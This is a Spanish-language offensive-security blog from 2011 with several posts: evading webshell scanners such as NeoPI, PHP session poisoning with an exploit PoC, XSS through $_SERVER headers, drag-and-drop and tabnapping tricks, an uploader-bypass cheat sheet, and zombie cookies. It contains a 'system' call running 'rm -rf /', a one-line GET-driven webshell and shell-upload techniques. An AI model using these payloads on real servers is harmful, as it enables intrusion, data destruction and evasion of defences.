En estos casos lo más fácil para que pase desapercibida es modificar los nombres de todas las funciones, reordenar el código y alterar la sección del HTML que "maquetará" a la shell.

Por supuesto que el uso de listas negras de funciones sospechosas (como system, o base64_decode) es otro método clásico para detectar archivos maliciosos. Para utilizar estas funciones y pasar desapercibido podemos hacer uso de las funciones variables -cuando una variable tenga "()" al final, PHP buscará una función con el mismo nombre- :

$a = 'sys'.'tem';
$a('rm -rf /');

Incluso podemos ir más allá y tomar la función desde variables de tipo GET (u otras variables como user-agent y similares):

<?php
echo $_GET[2]($_GET[1]);
?>

Pero las herramientas de WSD no se quedan aquí, sino que también implementan otros conceptos curiosos para detectar shells ofuscadas. Un claro ejemplo es NeoPI, que busca dentro de los archivos cadenas largas de caracteres, puesto que son típicas de los códigos ofuscados. La idea en inicio es buena, pero yerra porque son varias las funciones que al pasarle un string eliminan los espacios que contenga. Un ejemplo es base64_decode: si le metemos una cadena en base64 donde cada pocos caracteres aparece un espacio, ésta va a ser leída perfectamente.

Además NeoPI también detecta archivos con una entropía muy alta, por lo que si añadimos espacios entre cada carácter de la cadena ofuscada con base64, la entropía descenderá y pasará desapercibido.

PD: el bypassing a NeoPI estan sacadas de este post de Seth donde podreis encontrar un ejemplo de una shell 100% invisible para esta herramienta.

Trazabilidad de un usuario

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Thu, 20 Oct 2011 07:12:00 PDT

¡Saludos!

El tema de la trazabilidad ha sido largamente discutido en los últimos años debido en parte a las polémicas con la geolocalización, las cookies de seguimiento procedentes de terceros, las supercookies con Local Storage (y en general todo lo que engloba el proyecto evercookie).

El funcionamiento genérico del seguimiento consiste en colocar en distintos dominios scripts que generen un identificador único para cada usuario que visita ese dominio, permitiendo que cuando este usuario visite otro dominio se le pueda reconocer perfectamente. Se puede ver en el siguiente esquema (Long live to Paint!):

1) El usuario visita una web, y al hacerlo se manda una petición a un tercero (empresa de seguimiento) el cual genera un identificador.

2) El identificador es almacenado de forma local en el usuario, en forma de cookie por ejemplo.

3) Cuando ese usuario visita otros dominios que están en relación con la empresa de seguimiento, éste le está enviando su identificación, por lo que pueden tener una relación de páginas visitadas, asiduidad, rutinas, etc. que podrá ser sometidas a un proceso de data mining.

Poco más o menos así es como funcionan en líneas generales. Hasta ahora los esfuerzos por identificar a un usuario para poder controlar sus rutinas han ido encaminados en buscar la permanencia del identificador dentro del navegador del usuario. Pero... ¿por qué no identificar los usuarios por las configuraciones de sus navegadores? Es decir, hacer fingerprinting al navegador para poder identificarlo de forma única.

Existe numerosa información que se puede extraer de un navegador y que sirve para poder cercar y trazar a un usuario en concreto. El idioma, la zona horaria, el user-agent, el SO... son claros ejemplos de datos que se pueden obtener fácilmente y que nos ayudarían a poder identificar el país desde el que se conecta esa persona. Además, cosas más triviales como las fuentes instaladas (dependiendo de qué programas hayamos instalado éstas variaran), la resolución de la pantalla, o los plug-ins activos también son útiles para reducir la incertidumbre.

Un proyecto muy interesante que aborda esta idea es PanoptiClick donde se realiza un análisis bastante exahustivo de las características de nuestro navegador:

Por supuesto que mucha de la información que emplea puede llegar a ser spoofeable, pero es muy complejo llegar a ocultar absolutamente toda esta info y no dejar huella alguna.

Variables Superglobales que deberías de vigilar (II)

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Fri, 14 Oct 2011 01:44:00 PDT

¡Saludos!

Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de ataque. El otro día traté de escribir un poco sobre las variables superglobales $_SERVER[] , hoy vamos a hablar de $_SESSION[] y sus implicaciones en los servidores compartidos entre varios dominios.

$_SESSION es un array donde los programadores suelen incluir datos como las preferencias en la navegación del usuario (theme que usa, idioma, etc.) y que queda guardado en un archivo con el nombre "sess_%SESSION%", siendo session el identificador asignado a tu sesión (lo que habitualmente es enviado en la cookie, y que suele ser PHPSESSID).

Si la aplicación permite al usuario que navega asignar un valor a al array $_SESSION, éste podría incluir algún código malicioso que pudiese aprovechar alguna vulnerabilidad. Por ejemplo se podría utilizar para inyectar shells y explotar un LFI como ya publiqué hace años.

Es lógico pensar que si a este array no se le asignase ningún valor enviado por el usuario no existe la posibilidad de que inyecten código malicioso. Pero no tiene porqué ser así }:D

Los archivos que almacenan las variables asignadas a cada sesión en los dominios compartidos a veces podemos encontrarlos en un mismo directorio para todos esos dominios. Es decir, que un mismo directorio podemos encontrarnos con las sesiones del Dominio A, Dominio B, y del Dominio C. Esto es un gran problema (para el cual existen contramedidas, pero que son bypasseables -dejo un link al final bastante interesante sobre el tema-) puesto que se puede cambiar de sesiones entre los dominios.

De esta forma si alguien consigue tener un usuario en ese servidor podría llegar a spoofear las variables asignadas en otro dominio, o incluir en ellas código malicioso. El caso más común es el de buscar qué dominios están asignados al mismo servidor que el atacante quiere comprometer, tratar de comprometer uno de esos dominios vecinos y desde ahí lanzar el ataque.

Un pequeño PoC (sacado de haxxor security):
(esta sería la aplicación a atacar en el dominio A)

// Starting the session
session_start();

// ...

if(isset($_SESSION['theme']){
include('themes/'.$_SESSION['theme'].'.php');
}else{
include('themes/default.php');
}

Y este sería el exploit ejecutado en el dominio B:

// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['theme'] = '../../../../mallroy/public_html/shell';
// Close the session
session_write_close();

Para más info: Local Session Poisoning in PHP

Variables Superglobales que deberías vigilar (I)

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Sun, 09 Oct 2011 03:53:00 PDT

Saludos,

Tengo el blog (y en general todo lo que es el internet) bastante abandonado por el tema de la universidad que me está absorbiendo demasiado. Aun así os pido disculpas y trataré de ir sacando algún que otro post rápido, como el de hoy.

Normalmente cuando un desarrollador crea una aplicación web en PHP, e intenta securizarla un poco, siempre aplica alguna clase de filtro a las variables que puedan ser manipuladas desde el lado del cliente. También los IDS hacen esto, analizando/filtrando aquellas variables que puedan ser manipuladas maliciosamente: $_GET, $_POST, $_COOKIE y $_REQUEST. Pero... ¿sólamente éstas son manipulables? La respuesta es NO. Existen otras variables que deberíamos de vigilar, como es el caso de $_SERVER y $_SESSION. Hoy veremos un poco de $_SERVER y el próximo día que pueda postear de $_SESSION.

$_SERVER es un array que contiene la información procedente de las cabeceras, así como la ruta de archivos. Los dos ejemplos más clásicos son los XSS (y SQLi) aplicados a PHP_SELF y X-FORWARDED-FOR. La primera variable hace referencia al script que se está ejecutando en relación con el directorio raíz, siendo explotable de esta forma por ejemplo:

www.ejemplo.com/<script>alert(/0verl0ad/)</script>

Por otro lado X-FORWARDED-FOR es utilizado por los proxys para indicar la IP de origen, por lo que suele tener interés para hacer spoofing, aunque últimamente con los sitios de estadísticas y de los que muestran tu propia IP y la geolocalizan, etc. suele emplearse más para inyectar código malicioso (JavaScript o inyecciones de otro tipo).

Al igual que con estas dos variables, existen otras tantas dentro del array de $_SERVER que pueden ser explotadas si son empleadas en el script sin sanitizarlas previamente:

<?php
echo $_SERVER['SERVER_PROTOCOL'];
?>

Si lanzamos una petición corrompida:

GET /p.php <script>alert(8)</script>
Host: ------

HTTP/1.1 200 OK
Date: Sun, 09 Oct 2011 10:59:52 GMT
Server: Apache/2.2.17 (Win32) PHP/5.3.6
X-Powered-By: PHP/5.3.6
Content-Length: 25
Connection: close
Content-Type: text/html

<script>alert(8)</script>

Ya sé que tiene poca chicha esta entrada, espero que la de $_SESSIONS sea más relevante.

Parches para SMF

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Tue, 20 Sep 2011 16:38:00 PDT

¡Saludos!

Esta noche al conectarme a twitter me he encontrado con un enlace a una publicación de DaboWeb anunciando parches de seguridad para SMF. Echando un ojo al changelog aparece la vulnerabilidad que habíamos reportado por Julio, y que tras ninguna respuesta liberemos en el blog SMF 2.0 Hijacking. Ahora, casi 3 meses después, lo han reparado, por lo que ya no lo consideraemos como un 0-day.

Gracias a los desarrolladores de SMF que se han entretenido en subsanar esta vulnerabilidad, puesto que no ha sido la primera vez que (por lo menos por mi parte) hemos reportado algun fallo de seguridad y nos han ignorado totalmente.

Y por supuesto gracias a Seth, que descubrió otro vector para explotar la vulnerabilidad (y codeó el exploit).

HTML5 [VI]: Drag'n'Drop attacks

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Tue, 20 Sep 2011 03:38:00 PDT

¡Saludos!

El otro día publiqué las slides de Rosario Valotta sobre el "CookieJacking". En la presentación utilizaba la técnica de Drag'n'Drop para que la víctima enviase la cookie al atacante, asi que hoy voy a hacer un post explicando cómo funciona este vector.

¿Qué es Drag'n'Drop? Cuando nos referimos a este vocablo hacemos referencia a aquellos mecanismos de arrastrar un objeto y dejarlo en otro punto (p.e. cuando arrastramos un icono del escritorio y lo colocamos en otro punto). Actualmente con HTML5 se ha incluido esta función, siendo fácil su implementación:

Si lo testeais, podreis comprobar que el texto "Test Drag and Drop" se puede coger con el ratón y ser arrastrado hasta el input, que al ser soltado el ratón, quedará rellenado con ese texto. Pero no siempre lo que creemos arrastrar es lo que realmente arrastramos };D

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','¡Odio Twitter');">
<h1>¡Me gusta Twitter!</h1>
</div>
<br><input type="text" />

Como podeis ver pese a que creemos que estamos arrastrando el texto "¡Me gusta Twitter!", en realidad lo que arrastramos es "¡Odio Twitter!". De esta forma un usuario común pasaría por alto el engaño, sin percatarse de lo que ocurre. Esto es útil en el momento de ocultar el ataque, puesto que puede usarse otros pretextos más atractivos (como juegos atractivos, o puzzles con ¡TETAS!, nunca fallan) para que el usuario haga Drag'n'Drop (no debemos perder de vista de que es necesaria la interacción directa por parte del usuario).

Pero lo interesante de este vector no es esto, lo interesante es la posibilidad de bypassear SOP (Same Policy Origin). En síntesis SOP implica que los scripts ejecutados desde el lado del navegador (como JavaScript, por ejemplo) se apliquen únicamente al dominio de origen y no a otros, por lo que es bastante importante desde el punto de vista de la seguridad. La solución para evitar las restricciones SOP es utilizar un iframe, y hacer que el usuario haga "drop" sobre éste:

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','0verl0ad.blogspot.com');">
<h1>Proof of Concept</h1>
</div>
<iframe src="http://google.com">
</iframe>

El texto "0verl0ad.blogspot.com" es mandado al iframe que apunta a Google, y se ejecuta la búsqueda.

En definitiva este puede ser un vector interesante para explotar determinadas vulnerabilidades, como ya lo demostró Rosario Valotta y 0-day de IE. El problema que tiene esta técnica es la necesidad de interacción por parte del usuario (como cualquier otro ataque de clickjacking) y ello conlleva a tratar de camuflar los exploits en forma de aplicaciones atractivas, como juegos o puzzles, para que el usuario haga Drag'n'Drop

Retos SQLi

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Sat, 17 Sep 2011 03:20:00 PDT

Saludos,

Nuestro compañero Seth ha habilitado una web de prácticas vulnerable a SQLi. Existen diferentes niveles de dificultad, por lo que casi todo el mundo podría resolver al menos uno de ellos.

Si quereis intentarlo aquí os dejo la web => ¡¡Practica inyecciones SQL!!

Cookiejacking, 0-day de IE y Rosario Valotta

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Wed, 14 Sep 2011 15:51:00 PDT

Saludos,

Hacía ya tiempo le estaba siguiendo el rastro a este tema, el del cookiejacking (robo , o "apropiación" como diría Grey, de cookies de sesión a través de UI Redressing), a partir de un enlace de Rosario Valotta que me mandó Seth en Mayo o Junio, no recuerdo bien, donde hablaba del 0-day de IE y su explotación mediante Drag-and-drop. El caso es que me he encontrado con la presentación que hizo en la Swiss Cyber Storm de este año y me ha encantando por varios motivos, entre el que destaco la imaginación e ingenio que aplica para ir sorteando cada obstáculo con el que se encuentra.

Presentación PDF => https://www.hacking-lab.com/nina/?wicket:interface=:1:articleContainer:downloadContainer:filelink::ILinkListener::

Video de la presentación => http://www.youtube.com/watch?v=VsSkcnIFCxM

HTML5 [V]: Autofocus + onblur = Phising (Tabnapping)

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Sun, 11 Sep 2011 08:46:00 PDT

Saludos,

Estuve echando un ojo al episodio 8 de MundoHackerTV cuando me encontré con un PoC en el cual usaban para averiguar qué páginas habían sido visitados algo que ya comenté hace un par de años, CSS History Hack. Este ataque los navegadores modernos ya lo bloquean, por lo que me da la sensación de que en esa demostración utilizaban algún navegador desactualizado. He intentado diferentes ideas para tratar de averiguar si un enlace había sido visitado, como la que menciono en el link que he dejado más arriba no pude hacerla funcionar intenté usar JavaScript para detectar un cambio de color en el link usando getComputerStyle pero tampoco resultó: al sacar el RGB de todos los links siempre tenía el mismo color, fuese o no visitado (aunque al visualizarlo en el navegador tuvieran diferentes colores), por lo que deduzco que discriminar entre visitado/no visitado es imposible actualmente Si alguien tiene info actualizada que deje un comentario.

Mencioné al principio la demostración de MundoHackerTV, pero no he explicado en qué consistía. La idea era entrar a una web, y al cambiar de pestaña en el navegador, esta web hiciera una redirección hacia un scamer de alguna web en que el usuario suela visitar (de ahí lo del CSS Hack History). La idea es que ciertas webs se suelen mantener abiertas, como las redes sociales, mientras que estamos navegando por otras pestañas. Al haber varias pestañas, existe la posibilidad de que el usuario se confunda y crea que el scam es la web original y deja allí sus datos. Para entenderlo mejor echad un vistazo al capitulo.

El PoC más simple que se me ha ocurrido (omitiendo la parte en que detecta si ha visitado facebook, que ya he explicado porqué no la he incluido) es el siguiente:

Para detectar si el usuario ha cambiado de pestaña usamos el evento onblur, que se disparará cuando se piera el foco en el elemento input. Al cambiar de pestaña, se pierde el foco y se disparará la redirección (en este caso google.com). Además, para que todo funcione, utilizo autofocus en el input, ya que de esta forma el foco se colocará directamente en el input y no hará falta de que el usuario haga click en él.

Me han informado via twitter de que esta técnica de phising se la denomina "tabnapping", asi que edito el título del post.

0verBypass.pl : herramienta para auditar uploaders

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Sun, 28 Aug 2011 18:23:00 PDT

Saludos!

Hace un par de días escribí un post, a modo de chuleta, para tener reunidas las técnicas más comunes para poder saltarse las restricciones de los uploaders, y de esta forma poder subir archivos con extensiones no permitidas (como PHP por ejemplo). En ese mismo post Seth me comentó que hiciera alguna herramienta que automatizara un poco esto, asi que me puse a codear algo para auditar. La herramienta está todavía pendiente de perfeccionarse, ya que tengo pensado añadir más opciones (por ahora sólo puede testear de 5 formas diferentes, que son suficientes pero cuantas más añada mejor), y además quiero permitir la subida de una shell desde un archivo.

El código se puede depurar bastante, aunque usando subrutinas he conseguido simplificar bastante el primer esbozo que había hecho, asi que admito sugerencias para simplificarlo aun más.

Source de la herramienta [Click Aquí]

Quiero aclarar que, además de las 5 técnicas para realizar el bypass que puedes seleccionar, subo los archivos con las extensiones alternando en mayúsculas/minúsculas (para saltar filtros case sensitive con listas negras de palabras) y intento camuflar la shell como una imagen .gif añadiendo al inicio el header GIF89a y poniendo como Content-Type image/gif.

Insecure Cookie Handling

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Thu, 25 Aug 2011 20:58:00 PDT

Saludos!

El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo inseguro" me refiero tanto a que las cookies pueden contener una información sensible en sí misma, o que las aplicaciones web utilizan las cookies sin tomar en cuenta aspectos básicos de seguridad.

El caso más conocido por todos es el de las cookies predecibles, como lo son Admin=1, usr=admin, User=1, etc. Normalmente las aplicaciones vulnerables suelen contar con un checkeo de la cookie bastante rudimentario basado en una simple comparación tipo:

if ( isset($_COOKIE['id']) && $_COOKIE['id'] == 1 )

Suponiendo que ese código fuese la comprobación de seguridad para acceder al panel de administración, podemos ver que podría bypassearse creando una cookie llamada id y de valor 1. En otros casos no es tan fácil de darse cuenta de que es un manejo inseguro porque el valor de la cookie está "camuflado"

En estos casos lo que requiere la explotación es tener imaginación y hacer pruebas hasta encontrar un patrón:



...

$cookie = $usuario . rand(0,10);

$cookie = base64_encode($cookie);

...

En este caso la cookie aparecería en base64 y además variaría por los números random generados, pero como podemos darnos cuenta hay muy poca entropía, por lo que sería fácil dar con una cookie existente y usurpar a un usuario.

Pero este fallo de seguridad no sólo puede utilizarse para escalar privilegios sino que también puede aparecer en otros sitios, como tiendas online, por poner un ejemplo, donde el precio de los productos adquiridos queden almacenados en la cookie y después use esos datos para realizar la factura (puede sonar rocambolesco pero os aseguro que por ahí ví el reporte de una vulnerabilidad similar).

Para realizar un ataque de fuerza bruta con atributos y valores de cookies well-known y tratar de escalar de esta forma privilegios Seth codeó una herramienta en JavaScript para GreasyMonkey que podeis ver aquí: CHPMEGAC00KIEH4X . Actualmente si quereis echar una mano con su proyecto podeis mandarle más pares atributo/valor de cookies para que las añada al diccionario.

CheatSheet to bypass uploaders

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Wed, 24 Aug 2011 21:06:00 PDT

1. Escribir la extensión del archivo alternando mayúsculas/minúsculas (.pHp, .PHp, .pHP...)
2. Uso de extensiones menos conocidas (.php5..)
3. Doble extensión (.jpeg.php)
4. Mandar una cabecera HTTP con el MIME type modificado por uno que admita (image/gif, image/JPEG)
5. Incluir al inicio del archivo la cabecera de una extensión permitida (GIF89a)
6. Añadir al final del nombre del archivo espacios y/o puntos (shell.php ... ......)
7. Usar null bytes
8. Incluir caracteres extraños (";", "&", "[" => shell.php;jpeg)
9. Bypass getimagesize() => Incluir la shell dentro de los metadatos de una imagen real (usando 0verLFI) y después modificar el MIME type
10. Abuso de la normalización de rutas (shell.php/./././[...])
11. Subida de un .htaccess que cambie las extensiones de los archivos ( ForceType application/x-httpd-php )

Estas son las que se me vienen ahora a la cabeza, si a alguien se le ocurre alguna más que la postee en los comentarios.

PHP File Path Injection

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Wed, 24 Aug 2011 20:10:00 PDT

Saludos,

Ya había leído algo de esto por Twitter y quería haber escrito algo pero se me pasó. Hoy he estado echando un ojo por Security Focus y lo he vuelto a encontrar así que me dispongo a explicar brevemente de que se trata.

La vulnerabilidad (CVE-2011-2202) permite a un atacante crear archivos en root (/) al realizar la subida de un archivo en cualquier directorio. Esto es debido a que en PHP permite que el nombre de los archivos empiecen por / o \. De esta forma es posible subir un archivo poniendo como filename /loquesea. Por supuesto que es necesario primero tener los permisos de escritura adecuados.

El exploit es tan simple como subir el archivo con la respectiva "/" o "\". Las versiones afectadas son =<5.3.6

HTML5 [IV]: Local Storage y las cookies zombis (o supercookies)

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Sun, 21 Aug 2011 18:48:00 PDT

Saludos!

Empiezo a escribir este post haciendo tiempo para que empiece Mundo Hacker TV (aunque lo terminaré después del programa), lo recomiendo si no haces nada más interesante a estas horas (quien me diría a mí que alguna vez promocionaría algo emitido por Telecinco).

En otra ocasión, hace apenas unos meses, ya comenté algo sobre las cookies zombis, hablando bastante someramente de qué se trataba y recomiendé la API para JavaScript "Evercookie". Ahora vuelvo a retomar el tema porque recientemente ha saltado la liebre con las cookies de seguimiento zombis que usaban KissMetrics y Hulu (no voy a entrar en detalles, hay cientos de webs hablando del caso). A esto se le suma toda la parafernalia de HTML5 y la seguridad, cosa que me está gustando bastante indagar (gracias a Seth y a @Franjoespejo que me están cebando a publicaciones interesantes).

Entrando ya en materia quizás lo primero que debemos de saber es... ¿Qué diablos es eso de Local Storage que han metido con HTML5? Pues la respuesta es sencilla: almacenar información desde el lado del cliente para agilizar la carga de páginas y similares. Presenta ciertas ventajas sobre las cookies de toda la vida, como pueda ser sus 5 Mb de capacidad de almacenamiento, o el tiempo de permanencia.

El concepto base de las cookies zombis es poder respawnear la cookie, utilizando información almacenada en el cliente. De esta forma, en el caso de las empresas de tracking por ejemplo, pueden asignar un identificador a un usuario (una cookie HTTP) para realizar estudios de comportamiento, y además guardar "copias" de dicho identificador en el ordenador del usuario. Cuando el usuario borre la cookie, ésta volvera a ser creada utilizando como molde las copias escondidas. Creo que se entenderá mejor con una sencilla prueba de concepto:

<----Web_original.html------->



<script>

localStorage.setItem("Foo", "Foo=0verl0ad;expires=Thu, 2 Aug 2020 20:47:11 UTC;");

document.cookie = localStorage.getItem("Foo");

</script>

<----Respawner.html----->



<script>

document.cookie = localStorage.getItem("Foo");

alert(document.cookie);

</script>

Primero entramos en Web_Original.html, vemos en nuestro navegador (el PoC lo he ejecutado en Firefox 6.0, si a alguien no le funca que lo ponga en los comentarios) que la cookie se ha creado, y procedemos a borrarla. Ahora vayamos a Respawner.html y... ¡Tachan! ¡Ha vuelto a la vida!

Nuestro primer archivo HTML hace dos cosas: por un lado crea la cookie, y por otro crea una copia valiéndose de Local Storage. Después, cuando borramos la cookie y vamos a Respawner.html volvemos a crear la cookie con la copia que ya teníamos almacenada. Esto mismo pero almacenando la información en muchos más sitios es lo que hacía evercookie.

Ahora bien, el cómo implementan este concepto las grandes empresas de seguimiento es algo que descozco y que supongo que cada empresa mantendrá esto en secreto. En líneas generales supongo que cada vez que se entre en un sitio controlado por una de estas empresas se comprobará si existe una cookie, de no existir se buscará entre el registro de Local Storage para respawnearla, y si tampoco hay nada allí crearán una de nuevo.

Está claro que Local Storage va a traer más de un quebradero de cabeza al unirse con otras técnicas como puedan ser XSS o SQLi, pero es tema para otro post.

PD: entre unas cosas y otras he terminado a las 5:50 am, probáblemente haya metido la pata en alguna parte, si es así avisadme.